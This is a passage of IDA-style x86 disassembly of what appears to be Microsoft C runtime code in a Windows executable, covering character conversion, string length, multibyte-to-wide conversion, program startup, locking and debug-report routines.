		dec	eax


loc_41A679:				; CODE XREF: sub_41A5D0+8Fj
					; sub_41A5D0+96j
		pop	edi
		pop	esi
		retn
sub_41A5D0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		add	eax, 20h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A690	proc near		; CODE XREF: sub_411A6E+6p
					; sub_411A8C+48p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DE074, 0
		jnz	short loc_41A6B7
		cmp	[ebp+arg_0], 41h
		jl	short loc_41A6B2
		cmp	[ebp+arg_0], 5Ah
		jg	short loc_41A6B2
		mov	eax, [ebp+arg_0]
		add	eax, 20h
		mov	[ebp+arg_0], eax


loc_41A6B2:				; CODE XREF: sub_41A690+11j
					; sub_41A690+17j
		mov	eax, [ebp+arg_0]
		jmp	short loc_41A71F
; ---------------------------------------------------------------------------


loc_41A6B7:				; CODE XREF: sub_41A690+Bj
		push	offset dword_4DE428
		call	dword_4E0454	; InterlockedIncrement
		cmp	dword_4DE424, 0
		jz	short loc_41A6E9
		push	offset dword_4DE428
		call	dword_4E0450	; InterlockedDecrement
		push	13h
		call	sub_41BC80
		add	esp, 4
		mov	[ebp+var_4], 1
		jmp	short loc_41A6F0
; ---------------------------------------------------------------------------


loc_41A6E9:				; CODE XREF: sub_41A690+39j
		mov	[ebp+var_4], 0


loc_41A6F0:				; CODE XREF: sub_41A690+57j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41A730
		add	esp, 4
		mov	[ebp+arg_0], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41A711
		push	13h
		call	sub_41BD20
		add	esp, 4
		jmp	short loc_41A71C
; ---------------------------------------------------------------------------


loc_41A711:				; CODE XREF: sub_41A690+73j
		push	offset dword_4DE428
		call	dword_4E0450	; InterlockedDecrement


loc_41A71C:				; CODE XREF: sub_41A690+7Fj
		mov	eax, [ebp+arg_0]


loc_41A71F:				; CODE XREF: sub_41A690+25j
		mov	esp, ebp
		pop	ebp
		retn
sub_41A690	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A730	proc near		; CODE XREF: sub_41A690+64p
					; sub_431210+94p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	dword_4DE074, 0
		jnz	short loc_41A75C
		cmp	[ebp+arg_0], 41h
		jl	short loc_41A754
		cmp	[ebp+arg_0], 5Ah
		jg	short loc_41A754
		mov	eax, [ebp+arg_0]
		add	eax, 20h
		mov	[ebp+arg_0], eax


loc_41A754:				; CODE XREF: sub_41A730+13j
					; sub_41A730+19j
		mov	eax, [ebp+arg_0]
		jmp	loc_41A857
; ---------------------------------------------------------------------------


loc_41A75C:				; CODE XREF: sub_41A730+Dj
		cmp	[ebp+arg_0], 100h
		jge	short loc_41A7A3
		cmp	dword_447480, 1
		jle	short loc_41A781
		push	1
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41FA40
		add	esp, 8
		mov	[ebp+var_10], eax
		jmp	short loc_41A795
; ---------------------------------------------------------------------------


loc_41A781:				; CODE XREF: sub_41A730+3Cj
		mov	edx, [ebp+arg_0]
		mov	eax, off_447274
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 1
		mov	[ebp+var_10], ecx


loc_41A795:				; CODE XREF: sub_41A730+4Fj
		cmp	[ebp+var_10], 0
		jnz	short loc_41A7A3
		mov	eax, [ebp+arg_0]
		jmp	loc_41A857
; ---------------------------------------------------------------------------


loc_41A7A3:				; CODE XREF: sub_41A730+33j
					; sub_41A730+69j
		mov	edx, [ebp+arg_0]
		sar	edx, 8
		and	edx, 0FFh
		and	edx, 0FFh
		mov	eax, off_447274
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 8000h
		test	ecx, ecx
		jz	short loc_41A7EC
		mov	edx, [ebp+arg_0]
		sar	edx, 8
		and	edx, 0FFh
		mov	[ebp+var_8], dl
		mov	al, byte ptr [ebp+arg_0]
		mov	[ebp+var_7], al
		mov	[ebp+var_6], 0
		mov	[ebp+var_4], 2
		jmp	short loc_41A7FD
; ---------------------------------------------------------------------------


loc_41A7EC:				; CODE XREF: sub_41A730+98j
		mov	cl, byte ptr [ebp+arg_0]
		mov	[ebp+var_8], cl
		mov	[ebp+var_7], 0
		mov	[ebp+var_4], 1


loc_41A7FD:				; CODE XREF: sub_41A730+BAj
		push	1
		push	0
		push	3
		lea	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		lea	ecx, [ebp+var_8]
		push	ecx
		push	100h
		mov	edx, dword_4DE074
		push	edx
		call	sub_4275A0
		add	esp, 20h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41A831
		mov	eax, [ebp+arg_0]
		jmp	short loc_41A857
; ---------------------------------------------------------------------------


loc_41A831:				; CODE XREF: sub_41A730+FAj
		cmp	[ebp+var_4], 1
		jnz	short loc_41A841
		mov	eax, [ebp+var_C]
		and	eax, 0FFh
		jmp	short loc_41A857
; ---------------------------------------------------------------------------


loc_41A841:				; CODE XREF: sub_41A730+105j
		mov	eax, [ebp+var_C]
		and	eax, 0FFh
		mov	ecx, [ebp+var_C+1]
		and	ecx, 0FFh
		shl	ecx, 8
		or	eax, ecx


loc_41A857:				; CODE XREF: sub_41A730+27j
					; sub_41A730+6Ej ...
		mov	esp, ebp
		pop	ebp
		retn
sub_41A730	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A860	proc near		; CODE XREF: sub_412159+9Cp
					; sub_41313B+55p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41A86A:				; CODE XREF: sub_41A860+1Fj
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dx, [ecx]
		mov	eax, [ebp+var_4]
		add	eax, 2
		mov	[ebp+var_4], eax
		test	edx, edx
		jz	short loc_41A881
		jmp	short loc_41A86A
; ---------------------------------------------------------------------------


loc_41A881:				; CODE XREF: sub_41A860+1Dj
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_0]
		sar	eax, 1
		sub	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_41A860	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A890	proc near		; CODE XREF: sub_412159+6Ep
					; sub_412159+7Fp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	offset dword_4DE428
		call	dword_4E0454	; InterlockedIncrement
		cmp	dword_4DE424, 0
		jz	short loc_41A8C8
		push	offset dword_4DE428
		call	dword_4E0450	; InterlockedDecrement
		push	13h
		call	sub_41BC80
		add	esp, 4
		mov	[ebp+var_4], 1
		jmp	short loc_41A8CF
; ---------------------------------------------------------------------------


loc_41A8C8:				; CODE XREF: sub_41A890+18j
		mov	[ebp+var_4], 0


loc_41A8CF:				; CODE XREF: sub_41A890+36j
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41A910
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41A8F8
		push	13h
		call	sub_41BD20
		add	esp, 4
		jmp	short loc_41A903
; ---------------------------------------------------------------------------


loc_41A8F8:				; CODE XREF: sub_41A890+5Aj
		push	offset dword_4DE428
		call	dword_4E0450	; InterlockedDecrement


loc_41A903:				; CODE XREF: sub_41A890+66j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_41A890	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A910	proc near		; CODE XREF: sub_41A890+4Bp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], 0
		cmp	[ebp+arg_0], 0
		jz	short loc_41A933
		cmp	[ebp+arg_8], 0
		jnz	short loc_41A933
		xor	eax, eax
		jmp	loc_41AAF4
; ---------------------------------------------------------------------------


loc_41A933:				; CODE XREF: sub_41A910+14j
					; sub_41A910+1Aj ...
		cmp	[ebp+arg_4], 0
		jnz	short loc_41A957
		push	offset dword_434D64
		push	0
		push	55h
		push	offset dword_434D58
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41A957
		int	3		; Trap to Debugger


loc_41A957:				; CODE XREF: sub_41A910+27j
					; sub_41A910+44j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41A933
		cmp	[ebp+arg_0], 0
		jz	loc_41AAA6
		cmp	dword_4DE074, 0
		jnz	short loc_41A9B9


loc_41A970:				; CODE XREF: sub_41A910+9Fj
		mov	ecx, [ebp+var_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41A9B1
		mov	edx, [ebp+arg_4]
		add	edx, [ebp+var_4]
		movzx	ax, byte ptr [edx]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], ax
		mov	edx, [ebp+arg_4]
		add	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jnz	short loc_41A99D
		mov	eax, [ebp+var_4]
		jmp	loc_41AAF4
; ---------------------------------------------------------------------------


loc_41A99D:				; CODE XREF: sub_41A910+83j
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2
		mov	[ebp+arg_0], edx
		jmp	short loc_41A970
; ---------------------------------------------------------------------------


loc_41A9B1:				; CODE XREF: sub_41A910+66j
		mov	eax, [ebp+var_4]
		jmp	loc_41AAF4
; ---------------------------------------------------------------------------


loc_41A9B9:				; CODE XREF: sub_41A910+5Ej
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	0FFFFFFFFh
		mov	edx, [ebp+arg_4]
		push	edx
		push	9
		mov	eax, dword_4DE084
		push	eax
		call	dword_4E0428	; MultiByteToWideChar
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41A9E9
		mov	eax, [ebp+var_4]
		sub	eax, 1
		jmp	loc_41AAF4
; ---------------------------------------------------------------------------


loc_41A9E9:				; CODE XREF: sub_41A910+CCj
		call	dword_4E0350	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_41AA07
		call	sub_4224D0
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	loc_41AAF4
; ---------------------------------------------------------------------------


loc_41AA07:				; CODE XREF: sub_41A910+E2j
		mov	ecx, [ebp+arg_8]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_8], edx
		jmp	short loc_41AA1E
; ---------------------------------------------------------------------------


loc_41AA15:				; CODE XREF: sub_41A910:loc_41AA5Fj
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_41AA1E:				; CODE XREF: sub_41A910+103j
		mov	ecx, [ebp+var_10]
		mov	edx, [ebp+var_10]
		sub	edx, 1
		mov	[ebp+var_10], edx
		test	ecx, ecx
		jz	short loc_41AA61
		mov	eax, [ebp+var_8]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jz	short loc_41AA61
		mov	edx, [ebp+var_8]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_447274
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8000h
		test	edx, edx
		jz	short loc_41AA5F
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_41AA5F:				; CODE XREF: sub_41A910+144j
		jmp	short loc_41AA15
; ---------------------------------------------------------------------------


loc_41AA61:				; CODE XREF: sub_41A910+11Cj
					; sub_41A910+127j
		mov	ecx, [ebp+var_8]
		sub	ecx, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_C]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		push	1
		mov	eax, dword_4DE084
		push	eax
		call	dword_4E0428	; MultiByteToWideChar
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41AAA1
		call	sub_4224D0
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41AAF4
; ---------------------------------------------------------------------------


loc_41AAA1:				; CODE XREF: sub_41A910+17Fj
		mov	eax, [ebp+var_4]
		jmp	short loc_41AAF4
; ---------------------------------------------------------------------------


loc_41AAA6:				; CODE XREF: sub_41A910+51j
		cmp	dword_4DE074, 0
		jnz	short loc_41AABD
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_414EC0
		add	esp, 4
		jmp	short loc_41AAF4
; ---------------------------------------------------------------------------


loc_41AABD:				; CODE XREF: sub_41A910+19Dj
		push	0
		push	0
		push	0FFFFFFFFh
		mov	edx, [ebp+arg_4]
		push	edx
		push	9
		mov	eax, dword_4DE084
		push	eax
		call	dword_4E0428	; MultiByteToWideChar
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41AAEE
		call	sub_4224D0
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41AAF4
; ---------------------------------------------------------------------------


loc_41AAEE:				; CODE XREF: sub_41A910+1CCj
		mov	eax, [ebp+var_4]
		sub	eax, 1


loc_41AAF4:				; CODE XREF: sub_41A910+1Ej
					; sub_41A910+88j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41A910	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AB00	proc near		; CODE XREF: start+8C0p
					; DATA XREF: .ex_cod:off_50103Co

var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_434D70
		push	offset sub_41BD64
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFA4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		call	dword_4E0460	; GetVersion
		mov	dword_4DDF84, eax
		mov	eax, dword_4DDF84
		shr	eax, 8
		and	eax, 0FFh
		mov	dword_4DDF90, eax
		mov	ecx, dword_4DDF84
		and	ecx, 0FFh
		mov	dword_4DDF8C, ecx
		mov	edx, dword_4DDF8C
		shl	edx, 8
		add	edx, dword_4DDF90
		mov	dword_4DDF88, edx
		mov	eax, dword_4DDF84
		shr	eax, 10h
		and	eax, 0FFFFh
		mov	dword_4DDF84, eax
		push	1
		call	sub_41F8C0
		add	esp, 4
		test	eax, eax
		jnz	short loc_41AB94
		push	1Ch
		call	sub_41ACA0
		add	esp, 4


loc_41AB94:				; CODE XREF: sub_41AB00+88j
		call	sub_421840
		test	eax, eax
		jnz	short loc_41ABA7
		push	10h
		call	sub_41ACA0
		add	esp, 4


loc_41ABA7:				; CODE XREF: sub_41AB00+9Bj
		mov	[ebp+var_4], 0
		call	sub_428460
		call	dword_4E045C	; GetCommandLineA
		mov	dword_4DF684, eax
		call	sub_428240
		mov	dword_4DDFD0, eax
		call	sub_427D30
		call	sub_427BE0
		call	sub_417AB0
		mov	[ebp+var_30], 0
		lea	ecx, [ebp+var_5C]
		push	ecx
		call	dword_4E0458	; GetStartupInfoA
		call	sub_427B20
		mov	[ebp+var_64], eax
		mov	edx, [ebp+var_30]
		and	edx, 1
		test	edx, edx
		jz	short loc_41AC07
		mov	eax, [ebp+var_2C]
		and	eax, 0FFFFh
		mov	[ebp+var_6C], eax
		jmp	short loc_41AC0E
; ---------------------------------------------------------------------------


loc_41AC07:				; CODE XREF: sub_41AB00+F8j
		mov	[ebp+var_6C], 0Ah


loc_41AC0E:				; CODE XREF: sub_41AB00+105j
		mov	ecx, [ebp+var_6C]
		push	ecx
		mov	edx, [ebp+var_64]
		push	edx
		push	0
		push	0
		call	dword_4E0360	; GetModuleHandleA
		push	eax
		call	sub_401404
		mov	[ebp+var_60], eax
		mov	eax, [ebp+var_60]
		push	eax
		call	sub_417AF0
		mov	ecx, [ebp+var_14]
		mov	edx, [ecx]
		mov	eax, [edx]
		mov	[ebp+var_68], eax
		mov	ecx, [ebp+var_14]
		push	ecx
		mov	edx, [ebp+var_68]
		push	edx
		call	sub_427900
		add	esp, 8
		retn
sub_41AB00	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	eax, [ebp-68h]
		push	eax
		call	sub_417B10
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AC70	proc near		; CODE XREF: sub_419F80+2Cp
					; sub_41ACD0+8Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	dword_4DDFD8, 1
		jnz	short loc_41AC81
		call	sub_428830


loc_41AC81:				; CODE XREF: sub_41AC70+Aj
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_428880
		add	esp, 4
		push	0FFh
		call	off_444ED0
		add	esp, 4
		pop	ebp
		retn
sub_41AC70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ACA0	proc near		; CODE XREF: sub_41AB00+8Cp
					; sub_41AB00+9Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	dword_4DDFD8, 1
		jnz	short loc_41ACB1
		call	sub_428830


loc_41ACB1:				; CODE XREF: sub_41ACA0+Aj
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_428880
		add	esp, 4
		push	0FFh
		call	dword_4E0328	; ExitProcess
		pop	ebp
		retn
sub_41ACA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ACD0	proc near		; DATA XREF: .data:00437020o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DF680, 0
		jnz	short loc_41ACE9
		mov	dword_4DF680, 200h
		jmp	short loc_41ACFC
; ---------------------------------------------------------------------------


loc_41ACE9:				; CODE XREF: sub_41ACD0+Bj
		cmp	dword_4DF680, 14h
		jge	short loc_41ACFC
		mov	dword_4DF680, 14h


loc_41ACFC:				; CODE XREF: sub_41ACD0+17j
					; sub_41ACD0+20j
		push	83h
		push	offset dword_434D7C
		push	2
		push	4
		mov	eax, dword_4DF680
		push	eax
		call	sub_415520
		add	esp, 14h
		mov	dword_4DE674, eax
		cmp	dword_4DE674, 0
		jnz	short loc_41AD65
		mov	dword_4DF680, 14h
		push	86h
		push	offset dword_434D7C
		push	2
		push	4
		mov	ecx, dword_4DF680
		push	ecx
		call	sub_415520
		add	esp, 14h
		mov	dword_4DE674, eax
		cmp	dword_4DE674, 0
		jnz	short loc_41AD65
		push	1Ah
		call	sub_41AC70
		add	esp, 4


loc_41AD65:				; CODE XREF: sub_41ACD0+54j
					; sub_41ACD0+89j
		mov	[ebp+var_4], 0
		jmp	short loc_41AD77
; ---------------------------------------------------------------------------


loc_41AD6E:				; CODE XREF: sub_41ACD0+C4j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_41AD77:				; CODE XREF: sub_41ACD0+9Cj
		cmp	[ebp+var_4], 14h
		jge	short loc_41AD96
		mov	eax, [ebp+var_4]
		shl	eax, 5
		add	eax, offset off_444ED8
		mov	ecx, [ebp+var_4]
		mov	edx, dword_4DE674
		mov	[edx+ecx*4], eax
		jmp	short loc_41AD6E
; ---------------------------------------------------------------------------


loc_41AD96:				; CODE XREF: sub_41ACD0+ABj
		mov	[ebp+var_4], 0
		jmp	short loc_41ADA8
; ---------------------------------------------------------------------------


loc_41AD9F:				; CODE XREF: sub_41ACD0:loc_41ADF6j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_41ADA8:				; CODE XREF: sub_41ACD0+CDj
		cmp	[ebp+var_4], 3
		jge	short loc_41ADF8
		mov	ecx, [ebp+var_4]
		sar	ecx, 5
		mov	edx, [ebp+var_4]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DE320[ecx*4]
		cmp	dword ptr [eax+edx], 0FFFFFFFFh
		jz	short loc_41ADE6
		mov	ecx, [ebp+var_4]
		sar	ecx, 5
		mov	edx, [ebp+var_4]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DE320[ecx*4]
		cmp	dword ptr [eax+edx], 0
		jnz	short loc_41ADF6


loc_41ADE6:				; CODE XREF: sub_41ACD0+F8j
		mov	ecx, [ebp+var_4]
		shl	ecx, 5
		mov	dword_444EE8[ecx], 0FFFFFFFFh


loc_41ADF6:				; CODE XREF: sub_41ACD0+114j
		jmp	short loc_41AD9F
; ---------------------------------------------------------------------------


loc_41ADF8:				; CODE XREF: sub_41ACD0+DCj
		mov	esp, ebp
		pop	ebp
		retn
sub_41ACD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE00	proc near		; DATA XREF: .data:00437034o
		push	ebp
		mov	ebp, esp
		call	sub_41B9E0
		movsx	eax, byte_4DDFB8
		test	eax, eax
		jz	short loc_41AE18
		call	sub_428A90


loc_41AE18:				; CODE XREF: sub_41AE00+11j
		pop	ebp
		retn
sub_41AE00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE20	proc near		; CODE XREF: sub_414F40+55p
					; sub_4173D0+8p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], offset off_444ED8
		jb	short loc_41AE4E
		cmp	[ebp+arg_0], offset dword_445138
		ja	short loc_41AE4E
		mov	eax, [ebp+arg_0]
		sub	eax, offset off_444ED8
		sar	eax, 5
		add	eax, 1Ch
		push	eax
		call	sub_41BC80
		add	esp, 4
		jmp	short loc_41AE5B
; ---------------------------------------------------------------------------


loc_41AE4E:				; CODE XREF: sub_41AE20+Aj
					; sub_41AE20+13j
		mov	ecx, [ebp+arg_0]
		add	ecx, 20h
		push	ecx
		call	dword_4E03A8	; RtlEnterCriticalSection


loc_41AE5B:				; CODE XREF: sub_41AE20+2Cj
		pop	ebp
		retn
sub_41AE20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE60	proc near		; CODE XREF: sub_41B9F0+7Ep
					; sub_420560+6Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 14h
		jge	short loc_41AE7A
		mov	eax, [ebp+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_41BC80
		add	esp, 4
		jmp	short loc_41AE87
; ---------------------------------------------------------------------------


loc_41AE7A:				; CODE XREF: sub_41AE60+7j
		mov	ecx, [ebp+arg_4]
		add	ecx, 20h
		push	ecx
		call	dword_4E03A8	; RtlEnterCriticalSection


loc_41AE87:				; CODE XREF: sub_41AE60+18j
		pop	ebp
		retn
sub_41AE60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE90	proc near		; CODE XREF: sub_414F40+70p
					; sub_4173D0+2Fp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], offset off_444ED8
		jb	short loc_41AEBE
		cmp	[ebp+arg_0], offset dword_445138
		ja	short loc_41AEBE
		mov	eax, [ebp+arg_0]
		sub	eax, offset off_444ED8
		sar	eax, 5
		add	eax, 1Ch
		push	eax
		call	sub_41BD20
		add	esp, 4
		jmp	short loc_41AECB
; ---------------------------------------------------------------------------


loc_41AEBE:				; CODE XREF: sub_41AE90+Aj
					; sub_41AE90+13j
		mov	ecx, [ebp+arg_0]
		add	ecx, 20h
		push	ecx
		call	dword_4E03A4	; RtlLeaveCriticalSection


loc_41AECB:				; CODE XREF: sub_41AE90+2Cj
		pop	ebp
		retn
sub_41AE90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AED0	proc near		; CODE XREF: sub_41B9F0+116p
					; sub_420560+A0p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 14h
		jge	short loc_41AEEA
		mov	eax, [ebp+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_41BD20
		add	esp, 4
		jmp	short loc_41AEF7
; ---------------------------------------------------------------------------


loc_41AEEA:				; CODE XREF: sub_41AED0+7j
		mov	ecx, [ebp+arg_4]
		add	ecx, 20h
		push	ecx
		call	dword_4E03A4	; RtlLeaveCriticalSection


loc_41AEF7:				; CODE XREF: sub_41AED0+18j
		pop	ebp
		retn
sub_41AED0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AF00	proc near		; CODE XREF: sub_41B010+113p
					; sub_41B3A0+33p
		push	ebp
		mov	ebp, esp
		call	dword_4E0464	; DebugBreak
		pop	ebp
		retn
sub_41AF00	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword ptr [ebp+8], 0
		jl	short loc_41AF20
		cmp	dword ptr [ebp+8], 3
		jl	short loc_41AF25


loc_41AF20:				; CODE XREF: .data:0041AF18j
		or	eax, 0FFFFFFFFh
		jmp	short loc_41AF63
; ---------------------------------------------------------------------------


loc_41AF25:				; CODE XREF: .data:0041AF1Ej
		cmp	dword ptr [ebp+0Ch], 0FFFFFFFFh
		jnz	short loc_41AF37
		mov	eax, [ebp+8]
		mov	eax, dword_44515C[eax*4]
		jmp	short loc_41AF63
; ---------------------------------------------------------------------------


loc_41AF37:				; CODE XREF: .data:0041AF29j
		mov	ecx, [ebp+0Ch]
		and	ecx, 0FFFFFFF8h
		test	ecx, ecx
		jz	short loc_41AF46
		or	eax, 0FFFFFFFFh
		jmp	short loc_41AF63
; ---------------------------------------------------------------------------


loc_41AF46:				; CODE XREF: .data:0041AF3Fj
		mov	edx, [ebp+8]
		mov	eax, dword_44515C[edx*4]
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	edx, [ebp+0Ch]
		mov	dword_44515C[ecx*4], edx
		mov	eax, [ebp-4]


loc_41AF63:				; CODE XREF: .data:0041AF23j
					; .data:0041AF35j ...
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword ptr [ebp+8], 0
		jl	short loc_41AF80
		cmp	dword ptr [ebp+8], 3
		jl	short loc_41AF87


loc_41AF80:				; CODE XREF: .data:0041AF78j
		mov	eax, 0FFFFFFFEh
		jmp	short loc_41AFEA
; ---------------------------------------------------------------------------


loc_41AF87:				; CODE XREF: .data:0041AF7Ej
		cmp	dword ptr [ebp+0Ch], 0FFFFFFFAh
		jnz	short loc_41AF99
		mov	eax, [ebp+8]
		mov	eax, dword_445168[eax*4]
		jmp	short loc_41AFEA
; ---------------------------------------------------------------------------


loc_41AF99:				; CODE XREF: .data:0041AF8Bj
		mov	ecx, [ebp+8]
		mov	edx, dword_445168[ecx*4]
		mov	[ebp-4], edx
		cmp	dword ptr [ebp+0Ch], 0FFFFFFFCh
		jnz	short loc_41AFC0
		push	0FFFFFFF5h
		call	dword_4E0468	; GetStdHandle
		mov	ecx, [ebp+8]
		mov	dword_445168[ecx*4], eax
		jmp	short loc_41AFE7
; ---------------------------------------------------------------------------


loc_41AFC0:				; CODE XREF: .data:0041AFAAj
		cmp	dword ptr [ebp+0Ch], 0FFFFFFFBh
		jnz	short loc_41AFDA
		push	0FFFFFFF4h
		call	dword_4E0468	; GetStdHandle
		mov	edx, [ebp+8]
		mov	dword_445168[edx*4], eax
		jmp	short loc_41AFE7
; ---------------------------------------------------------------------------


loc_41AFDA:				; CODE XREF: .data:0041AFC4j
		mov	eax, [ebp+8]
		mov	ecx, [ebp+0Ch]
		mov	dword_445168[eax*4], ecx


